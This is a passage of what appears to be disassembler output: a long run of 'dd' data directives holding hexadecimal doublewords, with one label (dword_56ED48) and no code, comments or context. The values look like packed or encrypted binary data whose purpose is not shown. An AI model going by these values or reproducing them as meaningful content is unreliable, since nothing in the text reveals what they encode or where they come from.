dd 0BA984766h, 80EAE858h, 1A3A115Bh, 981F0F56h, 0C85EC659h dd 5B33308h, 814A478h, 0B0383EBBh, 3E047919h, 82BC5CCDh dd 9B681CB1h, 2843EFCFh, 0C0708354h, 11FEA24h, 9A484C97h dd 36382198h, 31FF739Ch, 0B739D481h, 1ED9853Fh, 8C6C5895h dd 70AE19B1h, 0A057391Fh, 6A006CA0h, 0A7FAEABCh, 121700Eh dd 2F834D6Dh, 0DCD03863h, 0A0F08A18h, 674ECD00h, 0D40EA1F0h dd 11CA5FDh, 9A8E156Ch, 0CE118077h, 1AE9445Bh, 2A4E0FDFh dd 0AE462B6Eh, 8E4408C1h, 0EFC405EEh, 2CF04EA1h, 4A0D112Ch dd 48418BFFh, 0A6CCAED9h, 2F5F03EEh, 346E8E20h, 10C2B6A7h dd 670EA9FEh, 78084ED3h, 0F0D25A08h, 87BD036Eh, 8AF88EA7h dd 8B6DAEA0h, 0B3012EF0h, 69CECDC0h, 2370D00Eh, 79C27868h dd 47E0E99Dh, 1FAEF004h, 16CC6038h, 0E3EEA0CBh, 0EE0EBC74h dd 86D01CB6h, 31B83A13h, 0A3083741h, 5D6EE03Ch, 55708960h dd 292ECD95h, 0F0A4EF78h, 0D0B7A09Bh, 186A0001h, 0D165D8AAh dd 9C7C96Eh, 2E8064F4h, 32C3E098h, 8E601CAEh, 1F641434h dd 0CA182822h, 254EA8F3h, 0B1821CADh, 48896886h, 509A6A0Ch dd 0AF3EA852h, 0F3CF8EE0h, 7060E646h, 24848A24h, 18C216F8h dd 68D6B5CAh, 0DF1BBD2Ah, 0A2D9CEC3h, 347C1EF1h, 67577410h dd 0EEF54A0Ah, 0EF66D068h, 843C722Ah, 0F0A0AFFEh, 68A4794Eh dd 21C49300h, 4852E5C9h, 8E240097h, 0BF90E7ABh, 0E1004294h dd 5F532D0h, 0ACB16FFh, 9C24B6E5h, 119EE01Ch, 1540B023h dd 5C42081h, 0F43FCD03h, 1D621965h, 0C61E230h, 5082125h dd 0C5184563h, 0F4111CEAh, 0D3A58A04h, 15625834h, 5CD83Fh dd 0B7A14291h, 2005F42Bh, 50870439h, 0A15F1903h, 41D90138h dd 5F68792h, 9C2502FEh, 442F0438h, 69DD284h, 31386E61h dd 65E0D925h, 1E8C5FFEh, 0D798F2DEh, 2030141h, 73E5FB8Ch dd 749ECB15h, 8F31330Dh, 0B3FB3908h, 0E62014AEh, 861498ADh dd 7E3EA4B1h, 0E850ED40h, 7867FC80h, 821F6320h, 55DE3A5h dd 1DB41EA4h, 84E12040h, 5EDC4508h, 1A37B683h, 80EE558h dd 0CABDC05h, 9B091CACh, 8A76D0A9h, 60165021h, 22EEC8D0h dd 0C131C725h, 7165F8A0h, 6BD0D807h, 40397CF7h, 39C8E14Bh dd 60B4A3C5h, 3C7DE36Bh, 77813E40h, 12D8C66Fh, 4363C092h dd 12FD8548h, 47CB2508h, 4F31A850h, 0D8680F0Ah, 510AE0Eh dd 0A10A3772h, 1AA8085Eh, 3CB63868h, 917F2C3Fh, 0B831BD07h dd 5359A598h, 8786988h, 7599FE64h, 3B803087h, 0FFE5F534h dd 3002985Fh, 3C73E334h dd 80BC6100h, 728523C9h, 0EE3E2DE0h, 0D1944101h, 0C34827D6h dd 0D996F6E7h, 0CA0094B3h, 0C52BC878h, 0CDE08052h, 0DDCCC1B3h dd 4DF5369h, 8149C528h, 200F4550h, 7742544h, 815E9980h dd 5203F290h, 6B102478h, 87F3F8D4h, 3EE9A110h, 96F8E10Ch dd 0B35018A0h, 7092E588h, 7C9C2F48h, 25C45F50h, 600509CDh dd 1004981Fh, 54041C2h, 7C6C0D81h, 0B03C0C4Fh, 11115171h dd 7DFE6700h, 81702041h, 0A09862BBh, 404AE6Ch, 2846409Fh dd 3AC7900h, 57CE85ABh, 58BA2D30h, 7B8FAFA1h, 0E6672605h dd 0DD450C08h, 0FA787708h, 0E4662502h, 0F3D85F6h, 0DB7C5C8Ah dd 55EB81Eh, 410434E9h, 4A008D86h, 0AA45F4FBh, 9EA560C3h dd 60C5C02Ch, 30F67CE2h, 9170F58Dh, 251DF054h, 183E4F5Ch dd 0C7104D2Eh, 5F115BCh, 0F0F6F064h, 205C4B11h, 0F9E66181h dd 0BA202105h, 8F8390F0h, 6E998832h, 0B4068A0Fh, 68ACC51Fh dd 65A07B98h, 8876347h, 0B81F3FC3h, 0E500DD2Dh, 5FA57EEh dd 843669Ch, 651F108Dh, 85041023h, 0D0811B84h, 0D820F66Eh dd 0E8E16F67h, 28862F49h, 0E5191875h, 0A01019DBh, 4D858041h dd 94F0BE61h, 44F14CB9h, 5000186Fh, 0A0A5F7BCh, 0C8E82C93h dd 0E2DA6E08h, 0FC84FD01h, 8E5527E5h, 0FA61C806h, 10F54011h dd 2A389C48h, 9933841Ch, 74DA182Bh, 404F2810h, 4A983284h dd 888F13A0h, 0FA585C83h, 943E29A1h, 0F888408h, 8542A785h dd 80066525h, 20F0BE05h, 0A50E37E5h, 8AF1BAC2h, 0A394F8BDh dd 0A4650980h, 0C6040451h, 68850081h, 0D48027h, 50786324h dd 9265D121h, 0F849A3B0h, 80A826FCh, 0A6E534D8h, 0DFB082D0h dd 0C90DF486h, 0C041AE31h, 7C073E39h, 650E5C8h, 0B73265DCh dd 235DC816h, 500F2A36h, 84F1A712h, 9C8A15B5h, 70DBEE84h dd 844F0C1h, 0F9B045FAh, 4C487820h, 22EBAC80h, 0A5408574h dd 0C8E462E1h, 0F4825545h, 0A8A41DE5h, 0C2248A96h, 90867D3Eh dd 0A0A68128h, 485085A4h, 0CB14101Ch, 0BBA8CC15h, 9242653h dd 3E50FA1h, 26E8BCBCh, 3CC4CC98h, 0F8C43328h, 0B01A5091h dd 6508C59Fh, 2B44C3Fh, 98620508h, 4919C5C8h, 54323394h dd 9727EB0h, 417E44A4h, 0CB62ACA5h, 6160982Eh, 98904C63h dd 7247124h, 8A02B565h, 0CAAEF8A8h, 113F546h, 0E51F048Eh dd 0C5708A69h, 44302DF3h, 9039C421h, 38E14868h, 9F53F6ACh dd 0B5C11240h, 30C5C002h, 3F4C054Fh, 6201288h, 841D3409h dd 8B876504h, 9EC2543h, 15E20508h, 0FE053415h, 2821F594h dd 4060C181h, 49D06445h, 25388147h, 2945F32h, 0D69DE1A1h dd 0AE344806h, 8990CEF7h, 30E35079h, 0DD51A5CCh, 2981BD8h dd 366DBBC0h, 0DC144905h, 6D39D9B4h, 2B95CC90h, 248C0B7Bh dd 0FB10DD61h, 0F153707Fh, 0FB011C1Ch, 0C478B6A5h, 77E43B70h dd 0B03C6F79h, 205A8570h, 15C1178Ch, 50A2FC7Eh, 7858C5C8h dd 0E0A51584h, 0E46226C0h, 0A3BDE50Bh, 0E1A08210h, 1C27F385h dd 0E17BA8D8h, 50A34D84h, 65701D30h, 574FCD5h, 0B0556C28h dd 8B60686Eh, 0AA340FB4h, 6DF868A1h, 61C5845Dh, 0C14B81h dd 6495E5h, 0C2D2F116h, 0E744C3B4h, 0C5F0024Bh, 48F85072h dd 850888DAh, 0F2164E36h, 3E2EC849h, 0E3E0C864h, 0B8D8A150h dd 48FAE284h, 0BA77D438h, 0F7183220h, 9CBEA308h, 1FDD8C2h dd 94413086h, 0B8E28E40h, 0D4653738h, 0AC3E97D8h, 9CA271E0h dd 0D424D442h, 79A8D132h, 0D6D09A4Fh, 0B7863E8h, 53DD0510h dd 7D88B805h, 87052B4h, 0A8617498h, 0B9C5B4A0h, 289C0D58h dd 2514B059h, 28AC064Eh, 0C519B0D7h, 0D9109D18h, 93889464h dd 880E8E8h, 1E2044Dh, 2518408Ch, 28F0BA03h, 54B491A1h dd 582AF864h, 0F313FC94h, 3810828Bh, 354484C0h, 0EB2B08C4h dd 0A1822CC1h, 5AE9092h, 0C1416510h, 4476A510h, 6688588h dd 0D007C500h, 1890057Bh, 58814512h, 1893CC0Ch, 464F165h dd 0E498927Ah, 63389029h, 0A0E508F7h, 34C5202Eh, 0DD142586h dd 0D4CB5048h, 0E5564065h, 749CB05Ch, 4443462Eh, 4019DA17h dd 8924238h, 0E88C4C1Eh, 0F24A6568h, 93F3008h, 0C182D145h dd 0F8829EC5h, 7860F305h, 8C28985h, 6193AE5h, 653028E8h dd 0E7851084h, 9C18C92Fh, 47093841h, 1107C680h, 62452D40h dd 0EA250808h, 0E0786502h, 0BA4F057Ch, 93664DCh, 83901A5Ch dd 0E068E534h, 7757A0Ah, 305A0BF8h, 3BCD8F90h, 8DE3D010h dd 8062F1F1h, 559E9A08h, 3251A31h, 57486663h, 0C1E03360h dd 0D9006D87h, 9651D4DBh, 0AD0DB2h, 8A5F30E2h, 0FF26B3D6h dd 77103A1Ch, 82B51C3Ah, 61165A0Ch, 0E6A0624h, 207D2D1Ah dd 8804530h, 1D0F55B4h, 76E43BAh, 8259CADAh, 3A00A47Ah dd 300CC798h, 9A1091FAh, 8CC5823h, 6DDA3879h, 9C70102Fh dd 871BA28h, 3087FD7Ah, 415475FAh, 4392101Ah, 818E084h dd 0EA117C5Ah, 74FAF893h, 8EF280D1h, 880220D2h, 9E40DA31h dd 0FA530484h, 6015B6CFh, 7383B76h, 24F5DAFFh, 0F3004E0Eh dd 0EED85A33h, 0E60808C0h, 40E41A0Bh, 21656AE7h, 880356B8h dd 8181DC7Ah, 8A8F49Ah, 19C8DD26h, 99DC099Eh, 9AA1DAA8h dd 0F910D45Eh, 43588BAh, 0C0C37F96h, 0FFCC864Ah, 25A15A03h dd 0E9D7A0Eh, 0ED36FAA8h, 65881A89h, 8B6700B0h, 96BC7A0Bh dd 0E05E98CAh, 104FFA0Ch, 0A8D1605Ah, 0C35037Ah, 0D3746BF0h dd 0A0F81A37h, 27F1A08Ah, 36A18F0Dh, 6788D98Fh, 6CBA0880h dd 64DA0C1Eh, 3A382374h, 2C0EA941h, 4721F8ECh, 0E956008Ch dd 31DA32D7h, 0E90E723Ah, 0DCC07427h, 0C2264A7Bh, 0D8BB11C0h dd 0A9D757F9h, 1027C7F4h, 145FFAC0h, 4550725Ah, 5CAD4CBCh dd 9E5EFE81h, 84523A97h, 81509D8Bh, 0F007F870h, 0F670898Ch dd 6103E88h, 93E265C4h, 16457036h, 0F51F680Fh, 0A8D28808h dd 50E9B60Ah, 395B0076h, 0CBEB2F43h, 54EA568Bh, 20851092h dd 0B0AB7E60h, 95B619Ah, 850BF738h, 0DBF3F810h, 85031006h dd 30060029h, 0FFB8EBC7h, 6900E5B2h, 29E3CF52h, 73359BB9h dd 0ED28A05Eh, 700C0032h, 0A8B16394h, 3E308AD4h, 89F680Eh dd 75B707Bh, 684BC849h, 6FB000F0h, 96902558h, 5F00B7F2h dd 0E4BCF571h, 0F30B1Fh, 6B1C6E70h, 0C3B4D0E3h, 0DBF4C80Fh dd 0FB7F20DEh, 0D84B72h, 5E03C5C6h, 1059499Ah, 211CD909h dd 2530007Dh, 1206E9Dh, 97463FC5h, 0C4F493B2h, 3A00FC80h dd 0BEFEB78Eh, 7942C47h, 0B12E4FB9h, 87D2D0DCh, 8224FA76h dd 9600A215h, 31367B30h, 744800CBh, 89A07DB3h, 7E0FDCFBh dd 204EFA29h, 318F43C1h, 6A14003Bh, 0AFB9E0E6h, 0B6002D01h dd 4424F4E7h, 30EB165h, 48648FDFh, 0FBE06710h, 0A003C155h dd 57DA81FEh, 2165F89Dh, 9E2800E5h, 1A20A7FFh, 8E0323AEh dd 92F9AD0Fh, 48B61Ch, 732A2FCAh, 99C64143h, 6E01887Ah dd 375E515Bh, 9FEC024Fh, 1B2900D2h, 0EE50B087h, 0A907BA6Ch dd 0C820CE32h, 0E2B1B780h, 4BDA0F5Bh, 0E9C0C27Ch, 0E3156542h dd 82EE6000h, 7009724Ch, 1ED50058h, 899D4690h, 8B006A59h dd 0DEECF3D1h, 0C6FB48h, 4E2D8DF2h, 217ED24Fh, 0FCBF2700h dd 1101AC02h, 0FEF7289h, 95257A58h, 76B02FC0h, 0B6060C72h dd 3A9630BDh, 0E5750019h, 0DA71B4E1h, 8BF86656h, 1AAB3100h dd 64CE7C59h, 263000E9h, 774275D3h, 3700A265h, 0BC228020h dd 0F16C62h, 72BB0BAFh, 0A3EDBAD4h, 80B0BF3Bh, 3D11CF7Ch dd 7E47A74Ah, 8A060163h dd 0F4EE7D22h, 346A103Eh, 67140384h, 857A2876h, 9912ACB0h dd 0EF03FCF6h, 62B1EB3Ch, 0F170CF2Bh, 0BF5CCA3Dh, 0CFA0DB00h dd 5AF2C43Bh, 0FD893301h, 8E4FEDB6h, 3E18DCh, 44B2EF25h dd 7AA2B07Eh, 8E193839h, 122F21C8h, 0FD8B4100h, 0F9E3585h dd 0E3433A57h, 14492A23h, 5D6F11B8h, 1D3FE80Fh, 0B478CADAh dd 35745200h, 99A925h, 6C38D1F4h, 1B8BC9A0h, 8031983Fh dd 5B47A6DAh, 0EC4FD058h, 44E7005Ch, 723CAB6Ah, 0C5F0D5D3h dd 80DB0A3Fh, 3F7842F0h, 74A91C2Bh, 76E00EEh, 0DE3BBC27h dd 3A010A15h, 2FCDC460h, 0F1E4A069h, 0A19CA01Dh, 58742824h dd 0F72D0010h, 0EB514953h, 650003EDh, 0E5DFA7B8h, 986206h dd 0FAC75822h, 9D94634h, 0B4738100h, 0AE59E692h, 31E70F0Dh dd 8F00EC48h, 10D64163h, 1F241E79h, 69B3248Dh, 19F580B2h dd 0BF0A1C9Dh, 0C54580B4h, 0FAC8E8CAh, 0DE424600h, 3DC364AAh dd 0E5010712h, 1FDF939Dh, 53FEAB20h, 0B6005E05h, 0DA80FC22h dd 0ECD1D93Ch, 90A51DCFh, 0C9BE8068h, 70692813h, 0A0B64A00h dd 255C4E5Ah, 74900B0h, 2313DEFCh, 0F8A2168Dh, 0B4E98A40h dd 0E0C3D13Eh, 1B9003A8h, 0D2522408h, 22210C0Ah, 0A0002888h dd 0D1542534h, 0C0027C13h, 8C1B2459h, 0E204C2B3h, 17C72C78h dd 0FCCF4880h, 0DC62031Eh, 1A4652Bh, 0AB4D96B8h, 5D353E00h dd 85120D9Eh, 0C2D601E6h, 876B69Ah, 0BE19E049h, 1B3E250Ah dd 0E809C38h, 104BE12Eh, 0E6A20108h, 0A4FD9147h, 8449C47Fh dd 1CD8BF24h, 7EC3E91Eh, 0A899FFDDh, 3CA724CDh, 0A538D65Ch dd 80A63580h, 0C2CA04Ah, 0C6B07B00h, 4B67EC54h, 5E3938D0h dd 30E7F82h, 28487DAAh, 6CA01860h, 8460D286h, 7FB93318h dd 5CFC006Ch, 37054C28h, 0FF00F01Ch, 0D242DC56h, 1C973E0Dh dd 80405B66h, 5F0278CBh, 9C00EF30h, 54A1A4B9h, 7DE942CFh dd 41F624h, 0B8062D48h, 58937092h, 0DB153F09h, 9B44B08Ah dd 446700D1h, 0C093AD51h, 3009DFEh, 0F788B281h, 0E9E4916h dd 0B335961Dh, 0B7368C80h, 37005A33h, 0DCCCA2CAh, 1D848FA8h dd 0F0ACDD09h, 0C09481D9h, 0FFAD3000h, 32439C9Dh, 9B4B00A2h dd 6B2B5BD3h, 0F7787812h, 8EEC470Ah, 7900D490h, 22F092B0h dd 6F3101B7h, 0F9C6F559h, 604E80DCh, 8E70E477h, 4D660E25h dd 22605A1Fh, 87BB12EBh, 0C60150E8h, 11EA19DFh, 8034A9C0h dd 0E1C81EBCh, 68261Fh, 8671083Eh, 4B765622h, 4660B114h dd 0AD52C0D0h, 35A739Fh, 0AC4879E2h, 9001AFA5h, 610B8012h dd 10300228h, 3AB203EDh, 0DE29B116h, 8990F904h, 70900541h dd 0DB3B867h, 5203F9BFh, 20EC258Ch, 6C093D34h, 81611C23h dd 0E4784EE8h, 24216AF8h, 7A4E855h, 2201B239h, 6048E1C0h dd 1000689Bh, 46FCA6C3h, 5285B3B4h, 691FE80Ah, 764E43C4h dd 0EFC835AEh, 8900F2D7h, 5EC7203Ch, 30B4E344h, 736116D0h dd 0A4A04AD3h, 1007C8A0h, 0FBD73324h, 8C775151h, 404644Ch dd 8EE4D8E7h, 0EF78C31Ah, 0FA0E8880h, 0EB4AA307h, 500868Ah dd 0C0E376B2h, 15B078E9h, 5D0058ABh, 49E7C16Bh, 128C7AA6h dd 40656174h, 0D16A7FE4h, 100EDE4h, 98DB7909h, 0A02445h dd 83BFEB4Eh, 35C7AC4h, 0C129D416h, 411EA461h, 57C48FCh dd 36B707FEh, 0C6A81F66h, 0C156852Fh, 98F7EA38h, 0B870CAA4h dd 0FEF3393Eh, 0AD995F80h, 0FB535D31h, 66FA2302h, 0CB6110C3h dd 39A90800h, 7E0203F4h, 6119A66Dh, 0C5FD403Dh, 10F6FCh dd 5EB1D627h, 225177C9h, 3DB0F250h, 8065401h, 15C8E1E7h dd 0ECF07430h, 40340001h, 0A92F833h, 0A8A02158h, 67058006h dd 7651F9A5h, 7F020D8h, 5D686E25h, 0DB58C02Bh, 3C7974A5h dd 8F47AA00h, 91B036D3h, 279706FFh, 0B0F5C82Dh, 0D83AA900h dd 41B3EA69h, 4440ED42h, 0BC3957h, 221670B7h, 4D3ABDB1h dd 1DE17600h, 0BBDE5FF2h, 9CD4070Fh, 207D3589h, 0B16193FFh dd 7AA8451Dh, 85CA9743h, 2998B011h, 0E9900BCh, 55CC2F1h dd 9BFCBBFAh, 0E4AD2B00h, 0A332B1F0h, 2F8C1842h, 0D20B2817h dd 0E7769B00h, 0F39646Bh, 84928Dh, 0F49D373Bh, 205FEC91h dd 6F55707h, 0CBE0DD16h, 49BEAEh, 0CF17501Fh, 5E99A896h dd 0A5F9880Bh, 4A94823Fh, 218B8065h, 3921397h, 1705D61h dd 603E7B42h, 12CC0715h, 7309EC8h, 0E7AA5B2h, 0DA174602h dd 4472AA81h, 77967074h, 20BE9A24h, 0EB201D00h, 0E1122BAEh dd 13302D21h, 1B5901D5h, 0CA72B8ADh, 2DC02038h, 936FAA00h dd 5CD54111h, 0A76500DEh, 37016CAEh, 50926DA5h, 330B10E6h dd 85248305h, 0ECD0276Ch, 606344h, 0F76A75B8h, 1093A9B5h dd 64861B2Ch, 8024E0A1h, 0EE00A021h, 82B3B9DAh, 0C741009Ah dd 6E04BB60h, 6B60116Fh, 3B470271h, 6D1A0020h, 3382AC3Ah dd 0CB60FC3Eh, 0E558A6B9h, 509BE1h, 5BFAC672h, 0CB273D6h dd 0EA8CF802h, 832178F3h, 0B5D8C688h, 46B39000h, 3164D0h dd 97130935h, 0DE630217h, 0F226D916h, 7BCAC15h, 22E00C48h dd 88801CE4h, 933F4FFCh, 0AC0700B8h, 3E2C1B35h, 15C61204h dd 90A0428Fh, 2D060E1Eh, 81A0F1D6h, 0B1651085h, 0CD7D124h dd 0CE560502h, 64CD404Fh, 0A2EE0703h, 0A03EDA42h, 88EBA347h dd 4A8A6051h, 0F2E200F0h, 91811129h, 61B3CD7h, 2B509881h dd 0C1BE904Ah, 0B2407476h, 56411214h, 63C00B2h, 0F1AA0E43h dd 6472BCh, 0DAE60B19h, 730CD4A1h, 13C050FFh, 392CB018h dd 705010ECh, 0CD7DC9h, 8CC7150Bh, 0E1717DC6h, 674691C7h dd 7A862561h, 0E2914880h, 0A731081Ah, 4692EB00h, 53EC2737h dd 0A2ED18FDh, 0DAB058C6h, 23913300h, 35C74EA8h, 4298348Bh dd 90C834E8h, 74034C10h, 0E61F8C00h, 3DF41630h, 84FE130Fh dd 2B4C011Ch, 624A03D1h, 46416074h, 3E27F622h, 0ED3F3E07h dd 0DB778E0h, 0F201C5F4h, 96BFF980h, 2EECC633h, 2E1B0A5h dd 0A9D302ABh, 8C43E2ECh, 154461A8h, 0A8BBD400h, 34F71C55h dd 0E8F09A8Bh, 0AC705CEDh, 0E05CE02Ch, 205EA617h, 8F95E309h dd 87B8A02Ah, 435B4Eh, 8AF5EA8Dh, 9C217BC1h, 0ED7E800h dd 4BDFE8Ch, 0B0C4F8A6h, 129A76C6h, 0CA7C70FFh, 0EF8B0080h dd 2578F12Ch, 7F9F0053h, 0A108CF10h, 1C00094Bh, 96245487h dd 42084DDh, 0C692A09Ch, 142C8039h, 0B400BD27h, 0FD21F089h dd 921BBE03h, 3E067AF0h, 3D26792Ah, 0E2E40084h, 1F75AB29h dd 1ACC5303h, 0D0E5809Bh, 53C35BB2h, 7724B886h, 1C944990h dd 0F02EC300h, 6A2CC9BCh, 0FF7ED7h, 0BFC1DF3Ah, 0F7B54D10h dd 0CAE8FA0Eh, 0E044368Ch, 2CC81360h, 3A97034Eh, 0BC237957h dd 7BD9AA0h, 0FCD0C501h, 41420A8Ch, 32CAC440h, 0F37D149Bh dd 2700F819h, 0F452E976h, 0A80B7B6Bh, 106C5F02h, 43EA398h dd 60318436h, 0D2E0B117h, 0E6D484A0h, 0E7098697h, 32B9FA4Eh dd 0BD08C04Ch, 0E0083FF9h, 55CED180h, 46BA4CF0h, 2F1D1004h dd 4888AEBBh, 94321023h, 0D2AC0E51h, 0D4F7809Fh, 9FE0D7Fh dd 7BC92C55h, 788C688Bh, 0AE04AD88h, 0B8F2D14Dh, 88BAAC90h dd 409A002Ah, 775A0DAAh, 0A7F04B0Eh, 64008CA6h, 5DB8CCA5h dd 3A45B6EDh, 776EF76h, 1E56F18Eh, 0B4B0A16Dh, 9A0EDC42h dd 0E3376900h, 47ACA189h, 29067EB3h, 1949530h, 0A044F512h dd 31DAFD9Eh, 5C68EC60h, 4B4A700h, 43511642h, 0EE901F31h dd 73418A30h, 79360480h, 0AC00136Dh, 0AF6ED115h, 8AEA0ED4h dd 0B48042E7h, 0C368E11Fh dword_56ED48 dd 1CA68C2Ch, 7E49A422h, 9224888h, 612BDB37h, 0F6FC9E34h dd 0B7D8055Bh, 43E670C9h, 21EAD3C8h, 6C06C7C0h, 0BC07B54Ah dd 0D2D04C76h, 918A8EE1h, 55950328h, 0BD80DBF8h, 1059483h dd 2CC8F1B4h, 748DD8D0h, 65D89C73h, 47FCC0E5h, 0EF30E119h dd 0D1F498Bh, 59B2487Eh, 8C062F00h, 0E3E4B803h, 0A9F4230Ch dd 30E0DEh, 0E2965158h, 0C15F8C50h, 37ED0900h, 5417F24Ch dd 0D4C80F5Ah, 3540600Eh, 0ED6E363Fh, 1B74C500h, 2CF2494Bh dd 728607D8h, 20E33DFDh, 6F9C81E5h, 4F0070F6h, 95685D2Eh dd 4C0525E8h, 2100BC67h, 1E935A94h, 0AD0C2627h, 90AA3369h dd 824A000Fh, 0CF819850h, 0BA03962Eh, 5A4B0B49h, 744E986Ch dd 0FA750079h, 0D04523E7h, 0ECE7731Bh, 0A500DE3Eh, 49CA4E12h dd 98E69Eh, 0AD4CBF5Dh, 63A7BA2Dh, 0AAE8EE4Bh, 58729300h dd 92201B82h, 70319814h, 19760080h, 4B93348Bh, 9E7107EBh dd 0C0F67FB8h, 0AD3256Ch, 8070683Eh, 8503A887h, 2E166Eh dd 91C0994Ch, 56A31F4Ah, 0E8C2F50h, 73C7DC18h, 0FBDD058h dd 2BE783C4h, 95323600h, 33000D72h, 46210F26h, 865392h dd 8DC3D43h, 1334C440h, 0D5CE9100h, 1E65CC0Eh, 53680F41h dd 0F7C20720h, 84A30BE5h, 0C884224h, 70EE726Dh, 0FECD9E2Eh dd 9FB87305h, 99C18440h, 3A7990CBh, 938B2D2Fh, 0AB00ABF2h dd 0C7EEE721h, 0F90CEB00h, 7AA9DB90h, 91481F56h, 75CAC0DDh dd 46F14B74h, 0A4C8B000h, 4DE73B63h, 7BB0CF1Dh, 0CC29A960h dd 0D063219h, 972F9F9Dh, 52902CF8h, 341E0051h, 0EEC784D6h dd 80D31A38h, 0ADDB756Fh, 3897728Bh, 4E80C985h, 0B37AD621h dd 59EC4B02h, 0F44F3F00h, 533DABB2h, 7361C02Bh, 89783394h dd 2E5580C0h, 60D3681Fh, 0D4C5101Ch, 120456D9h, 0E6A0AA49h dd 0F7662080h, 0AF930030h, 0A49485DCh, 3500C46Ah, 0FD1A3C95h dd 90E6B38Dh, 3A617678h, 0E903523Fh, 72ED4332h, 3CDD87A0h dd 0D8250804h, 18903F5Fh, 776F6Ah, 0B353B892h, 98235B78h dd 40FAFAEEh, 0E89D5700h, 55058796h, 0DC5F0033h, 0E18422D1h dd 6F001D70h, 0EDEF1AA8h, 0F35EA0h, 37BF8113h, 152FAC82h dd 58D51D2Dh, 5D200FCh, 0CBC9A998h, 0B200B689h, 0C8DC28F2h dd 1E632EB9h, 40FE6D86h, 0B1C93F7h, 0D8002441h, 61ECC5BCh dd 0F50C4Fh, 5EA11E52h, 0D7B9CD02h, 10878930h, 0D24F97h dd 0B7518D18h, 66021E43h, 0C028EE03h, 914E4D14h, 7DF58AFDh dd 0D93AA07Eh, 903A1A30h, 903E86h, 12F8F55Bh, 0AC0F2D11h dd 38CB4F06h, 2D8EE96h, 78393A89h, 92608807h, 0BD0FA65Dh dd 606C87ECh, 2E011485h, 0DBFC0033h, 0D83EB8AEh, 3D397304h dd 7F4C074Fh, 0BF1730h, 0ABA2CC2Dh, 26F40166h, 40D2DAE1h dd 737EC877h, 21823B00h, 24810834h, 188C0AEAh, 3EBF3D4h dd 84C27749h, 35BBFEA8h, 42308160h, 3A7DFE0h, 59C050ACh dd 7E892EE8h, 0CD58801Fh, 8C104F6Dh, 7C5479CCh, 8A7603C3h dd 483BC1C7h, 0C4E5B4C0h, 90261100h, 73DE5BE3h, 217500B9h dd 0BA6AACBh, 0BBE0B820h, 2207A0ECh, 0F4D0FB34h, 3C9BFF6h dd 3CB9FF56h, 1588B758h, 41C0CFF8h, 118A234Fh, 0A978A2h dd 0D99CC4E6h, 2297E458h, 0FB2610C0h, 2D75C2h, 939E8217h dd 0ADA6CEE1h, 0B038E7A0h, 0D42CF600h, 77C0CDEEh, 0EB0B00A5h dd 0B105956Dh, 60146D1h, 8B9EAF1Dh, 9080A1FAh, 3289BEC9h dd 0CB001641h, 0EA8E4A5Dh, 0EDCEB2FBh, 11E3ECh, 0D90F6F2Eh dd 0D6051EF4h, 8D35C31Fh, 1F955447h, 5513D340h, 350C0A5h dd 17C4BBBFh, 22E83C1Fh, 4FFCB282h, 48C0808Bh, 0F6EFD910h dd 3D2007A3h, 0C068FB1Ah, 0F115F34h, 0E6D43C54h, 0A84AA600h dd 0BCE842DEh, 0B5F230CEh, 0C2FAFBE8h, 8E757F7Bh, 3EDC5900h dd 79FD9EBEh, 0AF083CFEh, 21B01703h, 0BB986782h, 9503EB2Ch dd 0E5C8F7DBh, 0FF90F05Ch, 43530029h, 8A870F92h, 5001FD4h dd 0D1167C97h, 1280613h, 0CF01E853h, 8A8FD35Fh, 0B8CCAC91h dd 0D4014393h, 0BFB661CAh, 0A9338080h, 9DB16387h, 0EA8CD8A8h dd 0D10A8400h, 0C2F73951h, 952F0370h, 0A99D7552h, 5BD8D100h dd 51268718h, 0C888AB16h, 0B605D6h, 254E7F9Dh, 0C32442ACh dd 95334F00h, 0D396CBA1h, 0F9F100F4h, 0ABE8FBECh, 0DC30171Fh dd 0F29F5858h, 98BC6055h, 0A2F378F6h, 0D64CC2E8h, 3E3077FCh dd 0C0DEE01Dh, 7F487810h, 4E182882h, 0D3EE12D6h, 80300986h dd 0CB344838h, 0AE31F0FDh, 4E6EB30Eh, 0C8892AFFh, 0CC768100h dd 8082F89Ch, 0A3009328h, 0F198AB1Ah, 1E01906h, 97F371EEh dd 20A650C6h, 0C7024718h, 0BF43E527h, 88B080F6h, 0E41D8092h dd 0F348C38Ah, 0B2E06AEBh, 9B18421Bh, 0BC911F09h, 9E7A3323h dd 93B0EF48h, 204C1726h, 0CC5E2B70h, 0B29F090Eh, 0B2D1440h dd 714239h, 0D08F0F98h, 55FCAE96h, 78207B72h, 9C6D00F5h dd 0C09E1F3h, 0E402DE11h, 0A8DBA22Ah, 0A09A404Eh, 0C1C4C51h dd 0FE1C200h, 1D359F56h, 0D11C5AFAh, 83807CFCh, 1E7B66DEh dd 96CAEABh, 562EECDCh, 0E00E9C20h, 7024D2B4h, 2B00DCD3h dd 24C59B87h, 4E4F0034h, 52433F8Ch, 0BB00E379h, 0A2190176h dd 6D55F7h, 31DA8A71h, 0F64B04E8h, 960B5715h, 0B54A078Ch dd 1C5199C8h, 9C432788h, 14F49017h, 85BB1F7Ah, 0E031C7DBh dd 59C6000Eh, 67141A7Eh, 7BDA710Fh, 8F570C05h, 0A0400BA0h dd 6CC28673h, 83B0A8F3h, 0FB5A39D9h, 29122A82h, 0D840A42Bh dd 131A7E9Fh, 87029851h, 4D93729Fh, 8DEED857h, 0E8DB12C8h dd 79F80390h, 37C06AC6h, 0B5207B42h, 48BF124Dh, 12A0037Dh dd 0F4C0B482h, 921FC698h, 97C0CC13h, 2ADA2131h, 0F8C1035Ch dd 64EC6683h, 40A9BA80h, 76E2C902h, 63E4287Ch, 0FD512B94h dd 541F3A90h, 0C72A00DEh, 6A10293Ch, 4298181Eh, 4E15807Ah dd 77AF12CBh, 0A0E3006Eh, 0F0C5A1C6h, 8A3872D4h, 5D6A805Ch dd 2859CC88h, 4AC00083h, 0F7FDA3B0h, 580033CDh, 82F2F4C9h dd 0F063138h, 63A272D3h, 0D5DD1C40h, 5071886h, 0D1F86924h dd 559C6070h, 0C3A00058h, 50ECE638h, 2B129514h, 0CC0DED88h dd 4035C9B4h, 9A518ED4h, 0D228004Ch, 1491921Bh, 660067A3h dd 52F9D997h, 0A8E298DCh, 137F4D18h, 41A6418Bh, 6B60B838h dd 264224Bh, 6301F36h, 60E062E7h, 0B0A5A959h, 0E0124C68h dd 0D25589DEh, 0E20C6023h, 50E0CA94h, 0EE0035B0h, 0E442FC4Dh dd 3DAFF55h, 59D3A56Bh, 95F0C783h, 7E588C8Ah, 2104DEA8h dd 84808098h, 0F172B028h, 37002467h, 0C3E4E295h, 30030D5h dd 0FF97D12Fh, 6A7FBFh, 